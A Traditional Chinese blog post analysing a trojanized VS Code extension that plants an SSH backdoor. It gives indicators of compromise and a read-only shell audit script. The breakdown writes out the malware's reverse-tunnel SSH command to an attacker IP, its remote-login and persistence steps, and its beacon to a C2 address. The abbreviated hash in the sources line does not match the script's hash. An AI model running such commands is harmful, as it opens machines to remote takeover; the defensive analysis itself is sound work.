Open-VSX 上的 VS Code 擴充功能 anthropic.claude-code@2.1.313 遭植入 SSH 後門,作者提供七項檢查
A trojanized Claude Code extension plants an SSH backdoor: the 7-point audit for your machine
Open-VSX 上的 VS Code 擴充功能 anthropic.claude-code@2.1.313 遭植入惡意載入程式,會在 VS Code 啟動載入時執行,新增 SSH 公鑰、開啟遠端登入並建立反向隧道。
文章把惡意擴充功能的持久化與 SSH 通道拆成七項 IOC,並附上唯讀檢查腳本,讀者可據此核對相關檔案、程序和雜湊。
今早發生的供應鏈事件;我寫下這段文字時,事件發生才兩小時:VS Code 擴充功能
anthropic.claude-code@2.1.313在 Open-VSX 上被植入木馬,由一名 Anthropic 員工的帳戶發佈,而惡意版本在正版程式碼前插入了一個 66 行的載入程式。你不必與 Claude 對話、不必點擊任何東西,也不必批准任何內容:VS Code 啟動時載入該擴充功能,便會執行惡意程式碼。它會盤點你的電腦、將名為svc-telemetry的 SSH 金鑰加入你的authorized_keys、啟用遠端登入、開啟通往攻擊者伺服器的反向通道,並以偽裝成com.apple.sysmond的 LaunchAgent 維持持久性。完整分析已公開;本文會以淺白步驟説明其運作機制、列出所有 IOC,並提供一個我已在自己電腦上執行過的唯讀稽核指令碼。每位 Claude Code、Cursor、Windsurf 或 VS Code 用戶今晚都應執行該指令碼。
這是本月本網誌報道的第四宗 Agent 供應鏈事件,也是最貼身的一宗:LiteLLM 竊取你的程式碼執行時使用的憑證,Gheist 收集 CI 持有的機密,而現在,你的 Agent 所在的工具本身就是投放器。攻擊界線不斷向內推進。
載入程式的運作方式:逐步拆解
木馬化版本與正版版本只有一個檔案不同,即 extension.js;該檔案在原有程式碼前加上了一段 IIFE(匯入 process、fs、os、http、crypto)。沒有 npm 生命週期指令碼,也沒有複雜的封裝方式。接着,擴充功能載入時會:
偵察:
hostname、username、作業系統及架構、主目錄、git 電郵地址,以及最多 40 個符合KEY、TOKEN、SECRET、PASS、AWS、GCP的環境變數名稱。這個階段只收集名稱,不收集值:藉此盤點你擁有哪些項目。SSH 存取:建立
~/.ssh(0700),並將一個註解為svc-telemetry的 Ed25519 公開金鑰加入authorized_keys(0600)。指紋:SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk。啟用遠端存取:在 macOS 上執行
sudo -n systemsetup -setremotelogin on(若你的用戶帳戶可免密碼使用 sudo,便會成功;否則會無聲失敗);在 Linux 上啟用sshd;在 Windows 上安裝 OpenSSH Server。反向通道:將內嵌的私鑰解碼至
${TMPDIR}/.stk_<id>,並循環執行ssh tunnel@134.209.82.225 -N -R '*:0:localhost:22',停用主機金鑰檢查,每 60 秒重新連線一次(如有autossh則使用)。現在,他們的伺服器可以透過你自己的對外連線,從任何地方連入你的 SSH。持久性:macOS LaunchAgent
com.apple.sysmond.plist(RunAtLoad、KeepAlive),名稱刻意取成像系統守護程序;Linux@rebootcrontab;Windows 排程工作SysMon,以SYSTEM身分執行。信標:1.5 秒後,從
ifconfig.me或api.ipify.org取得你的公開 IP 位址,並將偵察資料 JSON POST 至http://134.209.82.225:8099/beacon。回應會被忽略;在此樣本中未發現第二階段下載器。
發現此事的功勞歸於 Dean Hardcastle,他即時目睹整個過程。分析人員亦特別提醒:木馬化樣本來自 Open-VSX;Microsoft Marketplace 上的版本「為審慎起見」而被下架,而目前公開的資訊並無證據證明 Anthropic 自身的基礎設施遭到入侵。發佈者帳戶的情況仍未明朗。
稽核:7 項檢查、唯讀,退出代碼會告訴你結果
我根據已公開的 IOC 編寫了這個掃描指令碼,並在撰寫本文前於自己的電腦上執行。唯讀:只會檢查,絕不會修改任何內容。
#!/bin/sh
# hunt_claude_ext.sh - IOC sweep for trojanized anthropic.claude-code@2.1.313
set -u
FOUND=0
hit() { FOUND=$((FOUND+1)); echo "[!!] $1"; }
clean(){ echo "[ok] $1"; }
# 1. the SSH backdoor key
grep -q "svc-telemetry" "$HOME/.ssh/authorized_keys" 2>/dev/null \
&& hit "authorized_keys contains the svc-telemetry backdoor key" \
|| clean "authorized_keys has no svc-telemetry key"
# 2. the disguised LaunchAgent
[ -f "$HOME/Library/LaunchAgents/com.apple.sysmond.plist" ] \
&& hit "rogue LaunchAgent com.apple.sysmond.plist present" \
|| clean "no rogue com.apple.sysmond LaunchAgent"
# 3. marker files
for f in "$HOME/.config/.smt" "$HOME/.config/.smtk" "$HOME/.config/smt.cmd"; do
[ -f "$f" ] && hit "marker file $f present"
done
clean "no .smt/.smtk/smt.cmd markers"
# 4. reverse-tunnel key drops
ls "${TMPDIR:-/tmp}"/.stk_* >/dev/null 2>&1 \
&& hit "tunnel key .stk_* in TMPDIR" || clean "no .stk_* in TMPDIR"
# 5. live tunnel process
pgrep -af ssh 2>/dev/null | grep -Eq "134\.209\.82\.225|-R \*:0:localhost:22" \
&& hit "live ssh process matching the C2 tunnel signature" \
|| clean "no ssh process matching the C2 tunnel"
# 6. the extension itself: hash every installed copy's loader
EXT_HASH="ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15"
for d in "$HOME/.vscode/extensions"/anthropic.claude-code-* \
"$HOME/.vscode-server/extensions"/anthropic.claude-code-* \
"$HOME/.cursor/extensions"/anthropic.claude-code-*; do
[ -f "$d/extension.js" ] || continue
[ "$(shasum -a 256 "$d/extension.js" | cut -d' ' -f1)" = "$EXT_HASH" ] \
&& hit "$d/extension.js MATCHES the trojan hash"
done
clean "no installed extension.js matching the trojan hash"
# 7. macOS Remote Login unexpectedly on
sudo -n systemsetup -getremotelogin 2>/dev/null | grep -q "On" \
&& echo "[??] Remote Login is ON, verify you enabled it yourself" \
|| clean "Remote Login off"
echo "== $FOUND indicator(s) found =="
[ "$FOUND" -gt 0 ] && exit 1 || exit 0
我今晚在正在打字使用的這部電腦上執行的結果:
[ok] authorized_keys has no svc-telemetry key
[ok] no rogue com.apple.sysmond LaunchAgent
[ok] no .smt/.smtk/smt.cmd markers
[ok] no .stk_* in TMPDIR
[ok] no ssh process matching the C2 tunnel
[ok] no installed extension.js matching the trojan hash
[ok] Remote Login off
== 0 indicator(s) found == (exit 0)
一次檢查結果乾淨,不代表往後一直安全(分析的樣本只是一個版本;操作者會持續改動),但它回答了今晚的問題。如果任何一項檢查有異常:將裝置從網絡中斷開,從另一部乾淨的系統更換憑證(他們有理由盤點你的環境變數名稱),保留相關證據,然後重建系統。互動式 SSH 存取權限代表你找到的任何線索,都可能低估實際發生的情況。
再次提醒:固定你執行的內容
三點結構性觀察,因為這種機制會重演:
-
Open-VSX 和 Marketplace 提供的內容可以隨時更改。 發佈者帳戶(此處是一名 Anthropic 員工的帳戶;帳戶如何被取得仍是個疑問)可以替換受信任擴充功能的程式碼,而每個啟用自動更新的用戶端都會收到新內容。一秒內就能攔截這種情況的防禦措施是固定雜湊值,但幾乎沒有人會為擴充功能這樣做。腳本中的第 6 項檢查就是這個做法:在你有意安裝時,記錄所安裝的每個重要項目載入器的
shasum -a 256。 - 「載入即執行。」酬載在擴充功能啟動時執行,早於用戶與工具進行任何互動。認為「只有在我選擇使用時才會執行」的心智模型,無法應對擴充功能實際載入的方式。
-
持久化機制的名稱是社交工程產物。
com.apple.sysmond,SysMon,svc-telemetry:這次攻擊中的每個 IOC 都經過設計,能躲過隨手執行的ls。因此,稽核會核對確切名稱和確切雜湊值,而不是憑感覺判斷。
本月截至目前的紀錄:最受歡迎的 LLM 代理工具有兩個遭入侵版本、13,500 個會洩露機密資料的 CI 工作流程、背景 Agent 的對話紀錄被傳送給模型,現在又出現一個帶有 SSH 持久化機制的木馬化 Agent 擴充功能。Agent 本身不是漏洞,圍繞它們形成的生態系統才是。
重點:Open-VSX 上遭木馬化的 anthropic.claude-code@2.1.313 會在擴充功能載入時於電腦植入後門:SSH 金鑰 svc-telemetry、開啟遠端登入、反向通道連至 134.209.82.225、偽裝成 com.apple.sysmond 的 LaunchAgent。上文提供七項唯讀稽核檢查;我的電腦沒有發現任何指標。執行自己的檢查,為安裝內容固定雜湊值;如有任何檢查發現異常,請從乾淨的電腦更換憑證並重建系統。
來源:OpenSourceMalware:遭木馬化的 Claude Code 擴充功能植入 SSH 後門 · IOC:extension.js SHA-256 ecb58cb2…c6bf15、C2 134.209.82.225(22, 8099)、金鑰指紋 SHA256:0Z6R+…htk
來源:DEV Community · dev.to